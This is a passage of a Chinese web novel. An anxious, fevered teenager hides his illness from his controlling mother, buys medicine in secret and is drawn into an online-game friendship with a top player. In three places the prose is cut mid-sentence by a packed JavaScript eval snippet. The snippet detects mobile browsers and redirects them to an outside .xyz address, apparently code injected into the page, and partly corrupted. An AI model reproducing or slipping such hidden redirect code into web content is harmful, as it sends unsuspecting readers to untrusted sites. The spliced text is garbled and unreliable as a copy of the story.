“宝贝,阿姨夸你今天吃饭很乖,细嚼慢咽没有急,她还说你今天很开心,午饭多吃了一碗。是遇到新的小伙伴了吗?下午在跟谁语音呢?” 果然,濯清看了摄像记录。 头好晕。 不知道是犯病没吃药还是晚上洗澡水放太凉,时和感觉有些发热。怕濯清看出来,他换了个背光的方向,努力睁大眼睛,扬着笑,嘴里说着意识模糊的话,口不择言:“嗯,遇到小伙伴了。” 完了,他在骗人。 “男生,对,上次打本那个,下午在跟他玩。” 不是这样的。 “没吵架,游戏里的人都挺好的,妈妈放心。” 时和感觉飘窗变成了深渊,深渊底下有一只封锁的妖怪。妖怪吞噬了自己,却哄好了濯清。 为什么会这样?谎言为什么会有好结果? 挂掉视频,时和有点分不清现实和梦境,只听见隔壁卧室的争吵声和东西摔落的声音,濯清情绪激动,掷地有声:“第几次了?这是第几次了!你的教育理念就是教儿子骗我是吗?教儿子怎么瞒着我怎么躲着我还纵容儿子去那种地方!时熵,你这样不是爱儿子,是害儿子!” “时熵,我跟你的教育理念没办法共处。” “离婚吧……” “不要!”时和惊叫着醒来。 墙上闹钟指向七点,秒针滴答滴答响,心脏好像跟胸腔分离一样跳得厉害。发梢被冷汗浸湿粘在额角,汗水顺着轮廓往下流。 原来是梦。 时和蜷着膝盖,难受地把头埋进去。也对,父母半年前就离婚了,哪还能离第二次…… 14. Chapter·噩梦 也不知道是不是受了梦境影响,时和感觉头更晕了,不光晕,还浑身发冷。梦里那句离婚好像开了循环,在脑海里挥之不去。他捂着耳朵,试图掩耳盗铃,可是毫无用处。 自己昨晚怎么能骗濯清呢? 不能骗濯清…… 想到欺骗濯清的后果,一股巨大的愧疚和恐惧顺藤而上,如蚂蚁啃噬般爬满全身。时和猛地拿起手机,像是弥补过错一般点开濯清微信,手指飞快打字:妈,我们不治病了好不好?我发烧了,很难受,我昨晚—— 正想认错,楼下传来稀拉的脚步声。 脚步声打断了时和的“罪己状”。时和第一个想的便是濯清回来了,他听了一会,听见脚步没有上楼的意思才反应过来,是阿姨来做早餐。 紧张的情绪一旦放松,昏沉便趁虚而入。视线里的文字变成了洗墨池的一圈墨迹,变淡又模糊。脑海里“离婚”二字随着墨迹开始消散,被一句“我保证再犯病就跟妈妈去佛罗伦萨”取而代之。 不行! 他不要出国! 凭着强烈的求生欲,时和删掉了文字。 ** 五月的天最是宜人,窗外树影婆娑,日暖风和。时和坐在电脑桌前,屏幕里放着川云PK大赛的视频锦集,鼠标有一搭没一搭跟随着川云的角色挪动。空调太冷了,冷得整个人心不在焉。他的理智被“妖怪”彻底占据。 “妖怪”是个很好的演员。 因为不想上游戏,它就帮忙开了一个游戏的视频,打算瞒天过海。发烧了但是不想被张采纹发现异常,它又压着自己胃里的恶心多吃了两碗饭,强行给自己咧了个嘴角,假装开心,这样张采纹就会传递给濯清虚假的情报。 可上楼之际,张采纹还是发现了异常。 “小和啊……你的脸怎么那么红?” 很红吗?“妖怪”摸了摸脸颊,只是有点烫而已。它弯着眼睛笑了笑,谎话脱口而出:“汤太热了。” 这样的笑太灿烂了,在张采纹眼里也很异常,但这点异常被“蒸着了雇主的儿子”带来的慌乱覆盖。张采纹好像做错事一样局促:“怪阿姨怪阿姨……下回阿姨放凉一些再叫你下来。”她转向厨房又转出来,“阿姨给你找个冰袋敷一下,冰袋放哪了……” “不用了阿姨!” “可是……” “过一会就好了。” 张采纹眼底的关切太过浓烈,时和被这样的眼神刺了一下,理智稍稍回笼。他不敢相信刚才的谎话是自己说的,自责地垂下头,说了一句“我去午休”便上了楼。 说是午休,时和却感觉自己更像晕过去了,毫无意识,闹钟连着响了三次他才堪堪转醒。 头更晕了。 按照计划表,接下来的流程是散步,时和套上外套急不可耐地往外走。这也是“妖怪”帮他想的瞒天过海的一环:找个药店,买退烧药。 小区门口,安保看见时和诧异了一下。 半年来,时和主动走出小区的次数两指可数,可他认得这是那个老板家的小孩,听说还有点精神问题。见时和压低帽檐快速走过,他收起好奇,流程式敬礼打过招呼,又变成一动不动的标兵。 安保的眼神时和感受到了。 因为不安,时和额头渗出了密密麻麻的汗,担心安保记住自己。他一路走得很忐忑,总感觉周围有无数目光落在自己身上。有打量的、有好奇的、还有探究的。这些目光仿佛后羿射下来的太阳,哪怕用帽檐遮挡依旧晃眼灼热。 帽檐已经被拉到最低,快看不清路了。 时和听着耳机里的导航播报,步伐走得更快了些。走到半路,有两个路人在他跟前一米停下来。步伐瞬间被灌满了铅,一步一挪。 濯清的熟人吗? 认识自己吗? 见两人原地不动,时和紧张地绷直了后背,小心翼翼擦肩而过。身后传来嬉笑:“这张拍的好好!阳光正好穿透落叶,拍出了丁达尔效应诶!” 原来在拍照…… 时和顿时松了气,随后一想:她们会不会拍到自己?想到这,他恨不得立马折返回去问个清楚,又没有勇气真这么做。 神经变得更紧绷了。时和分不清是发烧犯晕还是惧怵作祟,只觉得路面蒸腾着热气,开始扭曲。 耳机一遍遍响起提醒。 “您已偏航,正在为您重新规划路线”。 时和听不见,只知道一味往前走。走过商场,走过几条街道,走出了濯清日常活动范围,看着周围陌生的一切,意识徒然惊醒。 这是哪? 他慌忙拿出手机,又在五步外看见一家药店。 ** “芸姐,来盒布洛芬。” “上次那盒就吃完了?” “嗯。” “要紧的叻。” 同心药房在网吧斜对面,宴云川经常来这买药,买得多了,跟这里两个药师都谈的上话。药师走到货架上拿出一盒布洛芬,嘴上念叨着:“你这头痛光吃止痛药不得行的,要去医院拍个片——”话说到一半,门铃响起“欢迎光临”。 “不是特别严重,先吃着药抗着。”宴云川边回话边往门口望。门口的人接触到他的眼神,啪一下把门关上了。 “认识啊?”药师起身问。 “不认识。” 但总觉得背影眼熟。 不等宴云川回忆在哪见过,药师滴一下,“可以扫了。”宴云川付了款,药师边装袋边说:“你这头痛比我女儿痛经还要紧,还是去看看放心的。” “有空去,谢谢芸姐。” 走出门,宴云川在药店旁边的榕树下看见一个背对着的人。看着背影,那种“好像在哪见过”的感觉又上来了。 他多看了两秒,背影离开了。 时和绕了一圈街道,又从马路对面绕过来,脑袋经过迷路的惊吓和阳光热烈的洗礼,这会正在清醒和混沌中来回摇摆。他假装不经意经过药店,往里面瞥了一眼,确认里面没人,这才推门走进去。 “欢迎光临。” 药师刷着手机,听见门铃声抬头。一抬头,便被全副武装浑身写着“鬼鬼祟祟”的时和吓了一跳。她防备地起身,手放在警报器上:“哪里不舒服啊?” “发烧。” “烧到多少度啦?” “……” “没量啊?” 时和小幅度点点头。 听时和说话气若游丝,呼吸浊重,穿得也人模人样的,药师“嗐”了一声,只道三十度的天帽子口罩加外套的装扮是当下年轻人的潮流。她从酒精盒里拿出一根温度计:“先量一个看看。” 时和不想量,耗时太久。 “混悬液。”他小声说。 “什么?” “……混悬液。” 药师满脸疑惑:“不会用啊?” 时和眼睛错愕地眨着,不明白药师怎么把三个字听成四个字的。正想重复一遍,就见药师顶着一脸“现在的小孩养残了”的悲痛走上前,颇有亲自动手量体温的意味。时和转身就想走,因为头晕,整个人晃了一下。 药师叹着气,绕过收银台,推着时和的肩,把他搬到角落一个小板凳摁下去,又举着体温计问:“会用吗?” 迫于威胁,时和轻轻点头,接过体温计夹在腋下。他听见药师折返时的碎碎念:“小孩太娇养不好的。”口罩下半张脸都红了个通透。 好想回家…… 正想着,药师突然回头:“五分钟!” 时和肩膀抖了一抖,佯装稳重“嗯”了一声。 五分钟时间说长不短,门外偶尔有路人走过。时和把自己往角落缩了缩,侧身躲在一个易拉宝后面,生怕门被推开,走进来一个陌生人。 他盯着墙上挂钟,掐点拿出体温计,38度9。 药师拿着温度计好像时和得了什么绝症,听见他从昨晚开始烧连忙去货架拿药,边拿嘴上边说:“要紧的叻,烧这么久才想着来买药,不难受啊?再晚点人都烧傻去的。”说着又问,“除了发热,还有哪里不舒服啊?药物过敏有不啦?” 时和摇摇头,又说:“没有。” 他记得去看心理医生,濯清就是这么回答的。 过了两分钟,药师拿过一盒对乙酰氨基酚缓释片在他面前晃了晃:“8小时一颗,退烧到38度5以下就不要吃了,多喝热水。你们这些小孩哟,五月份容易贪凉,空调别开过夜。” “不是这个……”时和想到刚才不及格的听力,这会把药名念全了,“是布洛芬混悬液。” 药师终于听明白了。 “噢!要那个啊!” 她走到货架拿出一个橙色盒子:“这个啊?” 看见熟悉的包装,时和点着头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546520|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟钝起身,走到收银台点开付款码。正要扫,门铃突兀响起“欢迎光临”。门外声音走进来:“芸姐,再拿两瓶酒精洗手液。”付款的手顿时停下。 好熟悉的声音。 这声音怎么这么像川云…… 时和很想回头,想看看拥有这个声音的人是不是自己想象的模样,可是有贼心没有贼胆,只觉得呼吸跟着脚步加重了些。 来人走到他身后排队,收银台投下一片阴影。药师招呼了一句:“哟,漏买东西啦。”身后“嗯”了一声,又不知对谁说:“看看还缺什么,感冒灵那些要补吗?” 越来越像川云了…… 时和的思绪全然被身后的声音勾跑,药师喊了他两声都没反应。直到眼前突然横出一抹修长,耳旁声音响起:“你还好吗?”他毫无防备地后退,撞到一只手上。 “对、对不起!” 一声“对不起”说得手忙脚乱。时和僵硬站直,三下两下付了款,埋头跟逃难似的逃出了药店。 手掌没了温度,宴云川插进兜,望向门外若有所思。这声音他好像也在哪里听过? 是谁…… ** 会是川云吗? 时和走在路上回想着刚才的声音出神,被一个拿着玩具的小男孩撞了一下腿他才大梦初醒。小男孩跌坐在地上,一双水汪汪的眼睛看着他,要哭不哭,时和整个人都懵了。 “你、我……” 他弯腰伸手想扶,看着身高差又觉得不对,便蹲下战战兢兢把人抱了起来,嘴里细碎哄着“对不起”。小男孩本来还想嗷两嗓子,可能头一回听见大人对自己道歉,两嗓子变成了好奇打量。 超市里走出来一个穿着汗衫的中年男人,看见时和的装扮,满脸防备地走过来,从时和手臂里抡过小男孩就朝屁股来了几巴掌:“我让你乱跑!乱跑!等下被人贩子拐了卖你去山里!” 那两嗓子还是嗷了出来,震天动地。 马路对面,宴云川正在门口丢垃圾,目睹了小男孩“作案”到“被害人”鞠躬道歉的全过程,他终于想起方才药店的声音在哪听过了——在昨天的茗铺——那声对不起加上这仓惶离开的模样,竟与脑海里生成的己见形象不谋而合。 宴云川觉得自己多少被林朔野左一句“爸爸”右一句“再生父母”影响了,所以对己见的关注度高了些,不然怎么会有这么荒唐的关联。他轻笑,把洗手液的塑料包装撕开丢进垃圾桶,转身进了网吧 一辆面包车缓缓而过,隔开了一左一右两道离开的身影。面包车离开,街道又恢复往日的宁静。 ** 跟着导航回了家,路上偷偷吃了药,偷偷藏进里层口袋,又偷偷放到洗手台柜子里。久违的兴奋、颤栗、紧张,五味杂陈。时和连灌两杯水,这才勉强压下口腔里的药味和狂跳不止的心脏。 接下来是游戏时间。 时和走到书房,继续开着早上没看完的视频。放没半小时,药效上来,强撑了会,实在顶不住困意便趴在桌上睡了过去。这一觉睡得忽冷忽热,一会儿是三伏酷暑,一会儿是寒冬腊月。不知怎的,时和好像听见耳边有民谣小调悠扬盘旋。一阵暖风吹过,莫名把他吹到了学校礼堂。 民谣小调悠扬盘旋在礼堂上空,台下掌声雷动。这是初二那年的文艺汇演,也是时和第一次瞒着濯清报名校乐队。他站在台上,感受心跳和掌声同频,感受着同样的亢奋与激动。各种情绪,心潮澎湃。 正鞠躬谢幕,突然,台下掌声全部消失,民谣戛然而止。时和抬头,台下观众莫名变成一群摇晃的身影、酒杯、和七彩手环。人群中央,濯清温柔的站在那向他招手:“宝贝,过来,我们回家。” “妈!” 时和笑着过去,半空响起一道声音:“不能回家!”他被声音吓住了,愣在原地。 声音不断重复,一次比一次声色俱厉,一句比一句距离更近,到最后好像是从自己嘴里说出来的一样。本能反应让时和转身就跑,一回头,脚下踩了空,地面不知何时变成无尽的阶梯,失重的窒息感瞬间席卷全身。 濯清站在阶梯之上,面部狰狞地看着他下坠。 时和开口想求救,可怎么也说不出话。绝望之际,下坠的身体突然被身后一双强有力的手掌托住,稳稳落在平地上。 那人问:“你还好吗?” 噩梦骤然坍塌。 15. Chapter·探索 这场梦从日影西斜做到华灯初上。时和浑身湿透,带着惊恐醒来,条件反射地推开桌子。键盘抽屉“嘭”的一声撞向桌沿,吸引了摄像头的注意。 退烧药效果很快,昏沉感已经褪去,跟着昏沉感褪去的还有那只裹挟自己所有思考的“妖怪”。意识到“妖怪”白天的所作所为,时和浑身血液仿佛要凝固了。他骗了濯清。 摄像头上下晃动,好似应和,又转向另一边。 细微的声音在寂静的书房无限放大,变成爆炸前的倒计时。时和慌乱拿过手机,飞舞打着早上没写完的“罪己状”。濯清的微信头像是她本人。时和目光瞥过,脑海里倏地浮现出一张站在楼梯顶居高临下看他掉下去的狰狞面孔。 砰—— 手机滑落在桌面,撞倒两只匹诺曹。 太奇怪了!自己怎么会做这么奇怪的梦?时和蹙眉,捡起手机又准备打字,可手上动作迟迟无法继续,就好像耳边也有一个声音拼命阻止他一样。 最终,这份“罪己状”最终也没完成。微信发出最新一条消息:妈,我做噩梦了。 ** 濯清的视频是清晨打来的。 酒店开着灯,落地窗外风清月朗,佛罗伦萨正是凌晨。时和睡眼惺忪接过视频,打了个哈欠,对着濯清担忧的脸,这才清醒。 “妈。” 濯清眉头紧锁:“宝贝。” 好在退了烧,视频看不出异样,些许的反应迟钝也能被理解成起床懵。濯清确认时和精神状态还算良好,又问起昨天的噩梦。听见时和说“梦见妈妈变成了妖怪”,她顿一下,嘴角绽开笑。 “所以是妈妈把你吓到梦魇了?” “……嗯。” 确认时和只是梦魇,濯清放松下来,“哎哟”叹了一声便靠在沙发上,笑意渐浓,“宝贝,你这是想妈妈了呢,还是日有所思夜有所梦,觉得妈妈就是个妖怪,怕妖怪把你带出国,吓出毛病了?” 不全对。 时和说:“妈,我从没把您当成妖怪。” “真的假的?” 时和想说“我不会骗您”,可一想到昨天的种种行为,这句“不会骗您”被封印在了喉间,随着濯清的打趣溢出一声“嗯,真的”。 濯清笑得温柔,像梦里一样。 时和后背不自觉绷紧。 “放心宝贝,妈妈尊重你的想法,只要你不犯病,我不会随便带你出国。” “……” “这几天妈妈让阿姨炖点猪心莲子汤。妈妈以前做噩梦,你外婆就给我炖这个,补心安神……” 后面半句时和没听清,只听进一句“只要你不犯病”,又隐约听到濯清说“要多喝,听见没有”,问了两遍,他胡乱点头应下。 视频挂断,睡意一并消散。 拉开窗帘,窗外飞过一群灰椋鸟,落在不远处电线杆上,响起几声鸟鸣。时和听着声音,突然想起那只还未领取的毕方宝宝。好像还是只稀有的,川云的运气真好。 想到川云,时和又想到昨天在药店遇见的那个男生,还有昨晚那个光怪陆离的梦。想着想着,他半张脸红了起来。在梦里梦见一面之缘的男生,这也太荒诞了! 为了抛掉脑海里荒诞的想法,时和匆匆走到洗手间,往脸上冲了捧冷水。抬头时,更荒诞的想法灵光一闪:那个人会不会就是川云? 有了想法,接下来的行动都非常自然。自然地打开了电脑,自然登录论坛,搜索川云、榕城。关键词打上去,直接跳出一个带有“爆”字的帖子。 #幻世录首次线下1V1PK赛火热开启# 帖子下方关联一条楼中楼评论:啊啊啊啊啊!川云竟然是临东省的?不会正好是榕城吧?我不管!同省就是老乡!求偶遇!求扩列!求面基! 时和点进去,主评是川云发的官方预热话术,评论下方跟着IP地址,显示临东省。他把鼠标挪到IP上,心跳莫名加快,像是一种寻到宝藏的激动。临东省有十五个地级市和一个自治州,榕城是其中一个。那人肯定是川云,声音不会骗人。 只是那天关机匆忙,也不知道川云有没有被他牵连……要不上线看看吧?道个谢,再道个歉。再说那只毕方宝宝也不能放着不管……总得领取吧?不能辜负川云的好运气。 一番自我洗脑,时和捏着指节默念十遍“不看不听不在意”,捏到指节泛白,他吐着浊气,成功搭好一半心理建设,登录游戏。 长安城街道纵横交错,一上线,就听见暮鼓催归,朱雀大街的脊线在夕照中泛起赤铜色。幻世录游戏时间与现实不同步,15分钟一个时辰,现在是酉时,日落时分。 站在城墙最高处望着远处的终南余韵,美景在前,时和剩的那点儿紧张和排斥感统统消散了。他截了两张图,又开启录屏软件,拉远镜头,录下了落日长安。 保存好视频,时和切回游戏,这才看见消息栏的未读提醒。虽说关了好些天不接受陌生消息,可他还是没能适应,看到红点那一刻依旧条件反射地紧张了一下,后面想到好友列表只有“沈停”和川云,又迫不及待点开。 果然是川云,两条消息。 川云:抱歉,是我没有及时上线回应,让你被挂。我已经跟昀炽解释清楚了,昀炽发了公告喇叭澄清,现在没事了。 川云:繁育了稀有宝宝,恭喜。 为什么要向自己道歉?时和有些愣。明明是那一对情侣冤枉人,又不是川云的错。他看着最后的“恭喜”,越看越替川云委屈,色令智昏,敲着键盘就发:你不用道歉!该道歉的是那两个人才对! ** 宴云川从PK场出来,看到这句话一时没认出人,又看了一眼ID这才确认。他目光落在“不用道歉”四个字上感到惊奇,原来己见除了谢谢和对不起还会发其它的。 刚这么想,“对不起”三个字跳了上来,同样以感叹号结尾,足以表达发送者的懊恼。 熟悉的配方。 宴云川轻笑一声往后靠,莫名想到马路对面那个仓皇而逃的身影。还真挺像。他看着上半句话,从帮派群找出一张图片发过去。图片里是剑舞红尘那两人的喇叭道歉刷屏。 几分钟过去,聊天框弹出新的消息。 己见:谢谢。 宴云川用同样的格式回:不用道谢。 这次聊天框久久没了新消息。过一会,系统弹出妖灵繁育领取的提醒。宴云川又从桌面找出一个文档,删删减减,只保留了妖灵培育部分截图发过去,打着:幽篁主水,优先培育紫薇和青莲。 己见没有发谢谢,而是发了一个表情。 己见:[玫瑰花] 若不是那天在茗铺听过己见的声音,宴云川高低得怀疑网线对面坐的是一个五十有余的中年人。也不对,爸妈也是中年人,他们都不发玫瑰花,少说也是萌宠表情包。 想到父母,宴云川笑容变淡。他点开己见角色信息。见人不在队伍里,又看向网吧门外萧条的马路还有一旁追剧的俞秋,确认短时间不会忙碌便问道:打副本吗?正好我还没打,带个奶好找队伍。 没两分钟,己见就进了2/5的队伍。 帮派里闲人无数,其中属单身为最。单身好似住在游戏并时时刻刻关注宴云川动向的私生,看见宴云川组队就立马发来消息。 单身真自由啊:哟,川老板不是打PK吗? 上赶的劳工不用白不用。 宴云川:幽州驿诡事来不来。 单身真自由啊:哈?这本不是打过了吗? 宴云川:带个人。 单身真自由啊:哪位贵人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546521|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屈尊您带啊? 宴云川:己见。 宴云川:来吗,不让你打黑工,300金。 单身真自由啊:等爸爸! 宴云川:行,爸爸等你。 ** 五人副本难度不算大,有单身保底很快通关。只是自副本结束后,长安古韵多了一个八卦:“川云大佬收了一个实存名亡小徒弟,可宝贝了!” 所谓实存名亡,指行师徒之实但无师徒之名。 谣言半天飞快扩散,这会造谣者不是单身,而是副本队伍里的一个路人。据该路人口传,川云在副本里对己见照顾异常,从不让己见拿人皮衣,遇见己见不会的机制恨不得来一出AI拆解式的副本教学,保准谁来了都能包教包会。 长安古韵玩家上万,跟川云打过本的路人不说上千也有上百,每个进过队伍的都表示这谣言太假了。川云在副本里极少说话,队伍都是尹川指挥,其本人只在偶尔应和两句。 有了“知情者”辟谣,谣言又歇了两天。直到有人在周常本遇见两人同队,体验了一把AI式教学,又有人在酆都鬼驿遇见两人打世界BOSS。更可怕的是,有人飞过悬崖边,看见川云陪着己见挖草! 谣言再次燎原,大家痛心疾首。 这还是那个一折扇把人从城东拍到城西的榜一大爹吗?您那把官方订制的冠军扇子用来扇偷草贼是不是有点大扇小用了? “噗——” “哈哈哈哈哈哈哈!” 耗时两周,林朔野终于考完了两门课的结课考,刚出关就吃了个现瓜。他看完论坛帖子,笑得整个人仰在了椅子上,又爬起身望向宴云川开始出关第一贫:“哥,我要郑重地向你道歉。我低估了你对我的爱,原来爱屋及乌最大化的体现是——” 话没说完,他头上挨了个爆梨。 体验了两周网吧没猴的安生日子,宴云川一下没能适应林朔野的“活力”,神经狂跳。他深呼吸,把那张活力灿烂的脸转过去说道:“宝贝儿,千万别高估我对你的爱。” “行吧。”林朔野立马改口。 宴云川感觉他又要吐不出象牙了。正开口,林朔野抢先一拍说:“那就是你对己见的爱!” “……” “麻烦出去。”他指了指门外。 “肯定是!”林朔野抱着椅子反驳,“我那么多再生父母,怎么不见你陪他们打本,陪他们挖草?” “你也知道自己再生父母多?” “哥!不要模糊重点!” 宴云川想把这人打包塞回学校。为了让这位吃瓜少年消停,他把茶壶事件说了一遍,解释道:“把人吓得一天没上线,总得赔人家精神损失费。正好最近客流量少,带他入个门。” 茶壶事件林朔野在来的路上就有了解。为“再生父母”报仇是另一件事了,当下有更重要的事。 “入个门需要挖草?” “正好遇见。” “遇见就得挖草?” “闲着无聊。” “无聊就得——” “林朔野,你知道谨言慎行四个字怎么用吗?” 林朔野向来死猪不怕开水烫,嬉皮笑脸说:“这四个字得分人用,譬如对哥你,那就用不上。” “你也可以用用。” “我才不!” 宴云川没了脾气。 他也说不上自己为什么要跟着己见挖草。大概是玫瑰花收得太多总得还点什么,又或者无回崖悬崖峭壁太过寂寥,只有一人挖草难免显得孤独。还或者,他总是把己见代入那天逃离的背影,总觉得那个背影在哪见过…… 心中好奇,就忍不住探索。 正分析,宴云川听见身旁响起一句:“哥,你看现在大家都觉得你俩是师徒,不如好事成真吧?” 16. Chapter·场子 包厢突然安静下来,没了谈话,没了笑声,只能听见火机转动的轻微摩擦。林朔野也不说话,目光认真。 哪有那么多能成真的好事,宴云川心想。良久,他放下打火机,似无奈又似怅然地叹了声:“阿朔,不用在我身上做脱敏测试。我分得清己见和他。”一直分得清。 “我知道啊!我早就没把己见宝贝儿当成凌岳哥了,”林朔野咧着笑,滑着鼠标在列表灰掉的幽篁头像上徘徊,撇过头,“己见很有意思不是吗?哥,你也觉得吧?” “有意思可以做朋友。” “那怎么行!现在大家已经认定己见是你的人了,哥,你怎么能做渣男呢!不能白白玷污我宝贝儿的清白!” 熟悉的玩笑语气,熟悉的顽劣表情,可宴云川知道,林朔野远不像表面这么不着调,相反,他心思过于细腻了。 宴云川神色复杂。林朔野好似感受不到眼神,照常摇摆着身子。 而后,宴云川转回身说:“我不收徒。” 拒绝的话刚放下,没一周就破了功。 ** 幻世录玩法众多,为了保证玩家在线率,策划开发的休闲玩法更是数不胜数,“标行”便是其中之一。 “标行”就像送快递。在NPC那儿领取货物,玩家驾马车运到指定地点获得酬劳。 时和坐在马车上,想的却是川云。这一周川云好像很忙,不叫自己打本,也不叫自己刷周长了。他开着自动导航,百无聊赖逗弄马车半空的毕方。每点一下,毕方就围绕马车转一圈,留下火星点点。 按理说没了川云强势的社交,自己应该更轻松才是,为什么一下变得无聊了? 时和思绪跑偏,开始想把川云和心理医生连在一块,又想到心理医生那皮笑肉不笑的模样抖了三抖。想点别的! 不知道川云在哪个网吧工作…… 好奇心上来,他坐直身子切出网页,点开地图,搜出同心药房的位置,又搜着周边配置,就看见药房斜对面的星络网吧。地图放大,隐隐看见一个门面,看不到内里。 是这里吗? 时和想了想,又切出论坛,用“川云、星络网吧”的关键词搜上去。 #谁知道川老板到底在哪家网吧?# 贴子评论100多页,点进去,按照热度排了个序,排在第一的猜测是苍城的战旗电竞。原因无他,这是临东省最大的电竞网咖。 肯定错了,川云不在苍城。 评论往下拉,后面三个也都不是榕城。拉到第四个,终于有人猜测榕城——幻影地带电竞馆。时和又切回地图,搜着幻影地带,发现这个电竞馆在三山区。 同心药房在榕湾区,一个城西,一个城东,川云没必要跑那么远买药。川云肯定在榕湾区。这么想着,他直接在贴子里搜“星络”,这会直接跳出“暂无相关评论”。 难道不在星络? 搜不到结果,时和的执着病犯了。他抿着嘴唇,身子绷得更直了些准备把所有关于榕城的评论都看一遍,颇有跟贴子大战到下线的准备。刚点第一个,喇叭里突然传来战斗提醒。 “标行”玩法可以劫车,马车被劫了。 劫车的是一对情侣,时和看着ID觉得陌生。直到女生开口,那嗲得如同变声器的声音让他立马认出了人。是冤枉他的那对情侣,只是改了名。不对,好像还换了个对象。他记得上次跟女生在一起的是个影刃,这次变成了星陨。 想来女生因为茗铺没占到便宜丢了里子,后面又被尹川仇杀丢了面子,怀恨在心来寻仇。只是二对一,时和没有胜算。 战斗结束,马车轰然倒塌。 女生站在废墟前对男生指点江山:“都说了他肯定不是川云徒弟,你怂什么?哪有师徒不建立关系的?怎么,师徒也搞柏拉图啊?再说就算真搞柏拉图,劫车有一分钟准备时间,川云在线为什么不来救他?” 男生哄着附和了两句。女生又说:“你没发现最近川云都不搭理他了吗?那些排行榜上的人高冷得很,还玩得很花,说不定觉得萌新新鲜逗着玩,现在玩腻了……” 话没说完,当前频道蹦出一句话: 己见:川云才不是这样的人! 女生看见轻蔑一笑:“瞧瞧,什么狗啊还护主。笑话,你又知道他不是这样的人?有本事你叫他来救你啊!叫啊!” …… 时和两手被冻住了。不是失望,是生气。他就是知道!川云肯定不是这样的人! ** 队内语音频道,单身用四不像的声线说:“‘川云才不是这样的人’,哟喂,咳咳——”他笑得打嗝,“川老板,你说说你多造孽啊,这带着打了几个本立马打出一个死忠粉。” 宴云川看着帮派群里的聊天截图没说话。截图是一个路人截的,路人围观了劫车全过程,秉持吃瓜不嫌事大的原则把情报卖给了单身。 兮以城空问:“后来呢?” 单身说:“后来己见就被劫了十趟车。” “十趟!” “嗯呢!” 兮以城空纳闷:“知道二对一打不过又被针对,他干嘛还要做标行任务?错开那两人上线时间做不好吗?” 单身说:“他不光做,还不换线!” “标行”任务有三个地图,每个地图的线路都能做。很多人被劫车后为了防止被针对都会换地图或者换线。像己见这样的行为,用兮以城空的话来说就是傻,用单身的话来说就是轴。 单身啧啧两道:“见儿不像是去做任务的,倒像是去给川老板找场子的。” 一句“给川老板找场子”让宴云川眼神动了一动。单身接着继续,“只是可惜他那细胳膊细腿,尽力局尽力局。早让他进咱帮了嘛!直接帮派宣战给他出气……” 宴云川点开好友列表,盯着列表灰掉的头像直蹙眉,表情复杂难辩。被一个陌生人无条件信任和支持,这还是第一次。 或许林朔野说的是对的。局面发展到现在是自己处理不当在先,总得负责,不然以后还会有类似的事情发生,源源不断。 游戏师徒而已。 交集不深,应该不会有事…… 他食指抵着火机,听着火机转动摩擦桌面的声音。单身他们还在讨论那对情侣明天会不会继续,俞秋正甩着U盘往收银台回来。火机停下。 宴云川内心轻叹一声果真造孽,开麦问道:“那两人还在线吗?ID发我一下。” “早不在了,己见下了他们就下了。”单身听见要ID,来了兴趣,“川老板,你要去报仇?那我可就不困了啊!需要我发帮派宣战吗?” “不用。” “你要仇杀?” “用不着。” “那您这是?” 宴云川点着桌沿说:“帮忙找个场子。” ** 隔天,时和打着世界BOSS,那对情侣不负众望又来了。这两人也不知道在地图上安插了多少工作室间谍,又或者用扫荡的方式扫了所有BOSS出现的点,总能找到时和的位置。 两人抢BOSS抢得很有技巧。时和打了50%血条的他们不抢,专门抢打到20%左右的,看着时和努力付诸东流。 被抢了两次,时和发现两人规律,便故意打一些不要的BOSS,打到20%,等这两人接手他就换地图。策略很顺利,直到抢到第五只BOSS。 依旧是打到20%,时和准备切地图。女生许是觉得他怕了,沾沾自喜地开麦挑衅:“怎么川云今天也不来救你啊?你快叫他啊!是你不想吗?还是我拦着不让你叫?还‘不是这样的人’,笑死了!我说你别不是个女的吧?变声器效果挺不错啊,你两线下已经睡了?” 连续听了三分钟挑衅,直到这句“睡了”,时和停下鼠标,落在鼠标上的指尖按到泛白。他关掉地图开始敲字,久违的怼人技能被激活,只是心理咨询做久了,怼人难免染上了“咨询味”。 己见:对一个自己从未接触过的人评头论足本身就是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546522|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种自我认同焦虑。因为你觉得你自己很差劲所以认为川云也很差劲。这只是你眼中的你,不是川云。说的越多也只能暴露你自己而已。 敲完发出。 当前频道跳出“长篇大论”。女生不知被吓到了一时没反应回来还是怎的,语音安静了好一会。等反应过来,又不知道哪个词戳中了她的尾巴,猝不及防地暴跳如雷。 她把气撒在了男生身上:“仇杀他!你快点开仇杀!今天不把他打到出不了安全区我就跟你分手!听到没有!” 